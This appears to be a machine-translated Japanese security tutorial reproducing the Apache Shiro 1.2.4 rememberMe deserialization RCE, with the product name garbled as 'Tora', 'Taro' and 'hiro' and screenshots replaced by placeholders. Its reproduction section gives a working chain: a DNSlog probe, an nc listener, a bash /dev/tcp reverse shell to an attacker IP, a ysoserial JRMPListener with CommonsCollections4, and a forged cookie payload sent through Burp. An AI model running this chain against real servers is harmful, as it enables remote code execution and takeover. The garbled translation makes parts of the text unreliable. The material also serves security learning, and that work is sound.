ネットワーク セキュリティの詳細な学習レッスン 5 - 一般的なフレームワークの脆弱性 (RCE- Apache Tora 1.2.4 デシリアライゼーションの脆弱性)


1. シリアル化と逆シリアル化

  • シリアル化とは何ですか?
    シリアル化とは、オブジェクトをバイト ストリームに変換してメモリ、ファイル、データベースへの保存を容易にし、オブジェクトの整合性と配信可能性を確保することです。

  • デシリアライズとは何ですか?
    逆シリアル化はその逆のプロセスであり、バイト ストリームをオブジェクトに復元します。バイト ストリームに保存されたオブジェクトのステータスと説明情報に従って、オブジェクトは逆シリアル化によって再構築されます。

簡単に理解すると、シリアル化はオブジェクトをコンピューターが理解できる形式 (バイト ストリーム) に変換すること、逆シリアル化はオブジェクトを人間が理解できる形式 (文字、数値) に変換することです。

PHP のシリアル化と逆シリアル化に対応する関数はserialize()次のとおりです。unserialize()


2. デシリアライズ脆弱性の原理

------ プログラムはデシリアライズ時に自動的にいくつかの関数を呼び出しますが、PHP を例にとると __wakeup() や __destruct() などの関数があり、Java には readObject() メソッドなどがあります。ただし、関数のパラメータをユーザーが制御できる場合、ユーザーは関数に悪意のあるコードを入力することができ、その結果逆シリアル化の脆弱性が発生します。

------危険性:

  1. リモート コード実行: システム ('whoami')、システム ('cat/etc/passwd') など。
  2. リプレイ攻撃
  3. 注射
  4. 権限昇格

3. Apache Taro 1.2.4 デシリアライゼーションの脆弱性

1. 脆弱性の説明:

------ Apache Taro は、認証、認可、パスワード、およびセッション管理を実行する、強力で使いやすい Java セキュリティ フレームワークです。Taro のわかりやすい API を使用すると、最小のモバイル アプリから最大の Web アプリケーションやエンタープライズ アプリケーションまで、あらゆるアプリケーションを迅速かつ簡単に取得できます。

2. 脆弱性の影響を受けるバージョン

------ Apache シロ <=1.2.4

3.Shiro デシリアライゼーション脆弱性の原理

------ AES 暗号化キー キーはコード内にハードコーディングされていますが、Shiro はオープン ソース ソフトウェアであるため、誰もがソース コードを通じて AES 暗号化キーを取得できます。したがって、攻撃者は悪意のあるオブジェクトを作成し、シリアル化し、AES 暗号化し、base64 でエンコードして、Cookie の rememberMe フィールドとして送信します。Shiro は rememberMe を復号化して逆シリアル化し、最終的に逆シリアル化の脆弱性を引き起こしました。

------ シロは「Remember Me」機能を提供しており、例えばタオバオなどのWebサイトにアクセスした際、ブラウザを閉じて次回再度開いても、最後にアクセスしたユーザーを記憶することができます。次回の訪問のために、再度ログインしてアクセスしてください

------ つまり、CookieRememberMeManager クラスを使用してユーザーのログイン資格情報を処理します。AES 暗号化キーを解読できます。

4.動作原理:

サーバーが Cookie 値を受信したら、次の手順に従って解析して処理します。

  1. RememberMe Cookie の値を取得する
  2. Base64デコード
  3. AES を使用して復号化します (暗号化キーはハードコードされています)。
  4. 逆シリアル化操作は、ユーザー ログイン情報オブジェクトを生成するために実行されます (フィルタリングなし)。
    逆シリアル化の呼び出し時にフィルタリングは実行されないため、リモート コード実行の脆弱性が引き起こされる可能性があります。

5. hiro デシリアライゼーションの特徴:

rememberMe=deleteMe フィールドが返されたパッケージに存在します
ここに画像の説明を挿入します


4. Apache Taro 1.2.4 のデシリアライゼーションの脆弱性を手動で再現する

1. DNSlog の使用に重大な脆弱性はありますか?

  • 1) dnslog は一時ドメイン名に適用されます: qsg7i9.dnslog.cn
    ここに画像の説明を挿入します

  • 2) hiro.py スクリプトを使用して、検出ペイロード (DNS 解決) を生成します
    。例: python hiro.py "http:// qsg7i9.dnslog.cn "
    ここに画像の説明を挿入します

  • 3) パスからペイロードが取得されました。Cookie
    ここに画像の説明を挿入します
    ここに画像の説明を挿入します
    によって生成されたファイルには、シリアル化されたペイロードが含まれています。

  • 4) 生成されたペイロードをコピーし、再生用に Burp に配置します。
    ここに画像の説明を挿入します

  • 5) DNSlog に戻って確認すると、
    ここに画像の説明を挿入します
    デシリアライゼーションの脆弱性があることがわかります。

2. VPSリスニングポート

nc -lvvp [リバウンドシェルが接続されるポート]
ここに画像の説明を挿入します

3. リバウンドシェルコマンドを構築し、base64 エンコードを実行します。

リバウンド シェル コマンド:
/bin/bash -i >& /dev/tcp/[バウンス シェルが接続される IP]/ [バウンス シェルが接続されるポート] 0>&1

  • エンコード前:
    ここに画像の説明を挿入します

  • エンコード後:
    ここに画像の説明を挿入します

4. VPS で JRMP を開きます (ポート設定 1099)

  • 使用したツール: ysoserial-master-SNAPSHOT.jar

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,[シェルコマンドのbase64でエンコードされたコンテンツをリバウンド]}|{base64,-d}|{bash,-i } "
ここに画像の説明を挿入します

5. s.py を使用してペイロードを構築し、jrmp を使用してリモートの悪意のあるシリアル化データを要求します。

python3 s.py [攻撃者 IP]:1099
ここに画像の説明を挿入します
このツールは、AES でペイロードを復号化してから Base64 エンコードするのと同等です。

6. フロントデスクにログインし、注意を払い需要勾选Remember Me、データパケットを傍受し、ペイロードを追加し、ペイロードをサーバーに送信します

ここに画像の説明を挿入します


5. ツールを使用してチェックする

ツールは次のとおりです: hiroexpv3.0
ここに画像の説明を挿入します
ここに画像の説明を挿入します


おすすめ

転載: blog.csdn.net/p36273/article/details/132981048